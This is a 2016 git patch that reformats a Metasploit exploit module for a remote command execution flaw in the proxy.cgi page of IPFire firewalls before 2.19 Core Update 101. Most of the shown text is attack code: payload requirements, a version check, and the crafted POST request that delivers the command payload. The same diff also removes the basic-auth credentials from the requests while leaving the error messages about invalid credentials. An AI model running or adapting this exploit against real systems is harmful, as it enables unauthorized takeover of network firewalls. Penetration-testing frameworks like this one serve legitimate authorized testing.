From 91658d2a61a7ccc706ded85d1bfc6f9841f06372 Mon Sep 17 00:00:00 2001
From: Brendan Watters <bwatters@rapid7.com>
Date: Fri, 3 Jun 2016 12:42:38 -0500
Subject: [PATCH] Changes per rubocop and sinn3r

---
 .../exploits/linux/http/ipfire_proxy_exec.rb  | 113 +++++++++---------
 1 file changed, 57 insertions(+), 56 deletions(-)

diff --git a/modules/exploits/linux/http/ipfire_proxy_exec.rb b/modules/exploits/linux/http/ipfire_proxy_exec.rb
index 9abbf6b2d1..21d80939e1 100644
--- a/modules/exploits/linux/http/ipfire_proxy_exec.rb
+++ b/modules/exploits/linux/http/ipfire_proxy_exec.rb
@@ -6,69 +6,71 @@
 require 'msf/core'
 
 class MetasploitModule < Msf::Exploit::Remote
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
-    super(update_info(info,
-      'Name'        => 'IPFire proxy.cgi RCE',
-      'Description' => %q{
-        IPFire, a free linux based open source firewall distribution,
-        version < 2.19 Update Core 101 contains a remote command execution
-        vulnerability in the proxy.cgi page.
-      },
-      'Author'      =>
-        [
-          'h00die <mike@stcyrsecurity.com>', # module
-          'Yann CAM'                         # discovery
-        ],
-      'References'      =>
-        [
-          [ 'URL', 'https://www.exploit-db.com/exploits/39765/' ],
-          [ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released']
-        ],
-      'License'        => MSF_LICENSE,
-      'Platform'       => 'unix',
-      'Privileged'     => false,
-      'DefaultOptions' => { 'SSL' => true },
-      'Arch'           => [ ARCH_CMD ],
-      'Payload'        =>
-        {
-          'Compat'      =>
-            {
-              'PayloadType' => 'cmd',
-              'RequiredCmd' => 'perl awk openssl',
-            }
-        },
-      'Targets'        =>
-        [
-          [ 'Automatic Target', { }]
-        ],
-      'DefaultTarget' => 0,
-      'DisclosureDate' => 'May 04 2016',
-     ))
+    super(
+      update_info(
+        info,
+        'Name'        => 'IPFire proxy.cgi RCE',
+        'Description' => %q(
+          IPFire, a free linux based open source firewall distribution,
+          version < 2.19 Update Core 101 contains a remote command execution
+          vulnerability in the proxy.cgi page.
+        ),
+        'Author'      =>
+          [
+            'h00die <mike@stcyrsecurity.com>', # module
+            'Yann CAM'                         # discovery
+          ],
+        'References'  =>
+          [
+            [ 'EBD', '39765' ],
+            [ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released']
+          ],
+        'License'        => MSF_LICENSE,
+        'Platform'       => 'unix',
+        'Privileged'     => false,
+        'DefaultOptions' => { 'SSL' => true },
+        'Arch'           => [ ARCH_CMD ],
+        'Payload'        =>
+          {
+            'Compat' =>
+              {
+                'PayloadType' => 'cmd',
+                'RequiredCmd' => 'perl awk openssl'
+              }
+          },
+        'Targets'        =>
+          [
+            [ 'Automatic Target', {}]
+          ],
+        'DefaultTarget' => 0,
+        'DisclosureDate' => 'May 04 2016'
+      )
+    )
 
     register_options(
       [
         OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
         OptString.new('PASSWORD', [ false, 'Password to login with', '']),
         Opt::RPORT(444)
-      ], self.class)
+      ], self.class
+    )
   end
 
-  def check()
+  def check
     begin
-      res = send_request_cgi({
+      res = send_request_cgi(
         'uri'       => '/cgi-bin/pakfire.cgi',
-        'method'    => 'GET',
-        'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
-      })
+        'method'    => 'GET'
+      )
       fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
       fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
       /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
 
       if version && update && version == "2.19" && update.to_i < 101
-        Exploit::CheckCode::Vulnerable
+        Exploit::CheckCode::Appears
       else
         Exploit::CheckCode::Safe
       end
@@ -77,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote
     end
   end
 
-  def exploit()
+  def exploit
     begin
       # To manually view the vuln page, click to proxy.cgi.  At the bottom
       # select Local, and save. Ignore the error box, at the bottom of
@@ -92,19 +94,18 @@ class MetasploitModule < Msf::Exploit::Remote
       post_data << "&ACTION=Add"
       post_data << "&NCSA_MIN_PASS_LEN=6"
 
-      res = send_request_cgi({
-        'uri'       => '/cgi-bin/proxy.cgi',
-        'method'    => 'POST',
-        'ctype'     => 'application/x-www-form-urlencoded',
-        'headers'   =>
+      res = send_request_cgi(
+        'uri'           => '/cgi-bin/proxy.cgi',
+        'method'        => 'POST',
+        'ctype'         => 'application/x-www-form-urlencoded',
+        'headers'       =>
           {
-            'Referer'   => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi"
+            'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi"
           },
-        'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
-        'data'      => post_data
-      })
+        'data'          => post_data
+      )
 
-      #success means we hang our session, and wont get back a response
+      # success means we hang our session, and wont get back a response
       if res
         fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
         fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200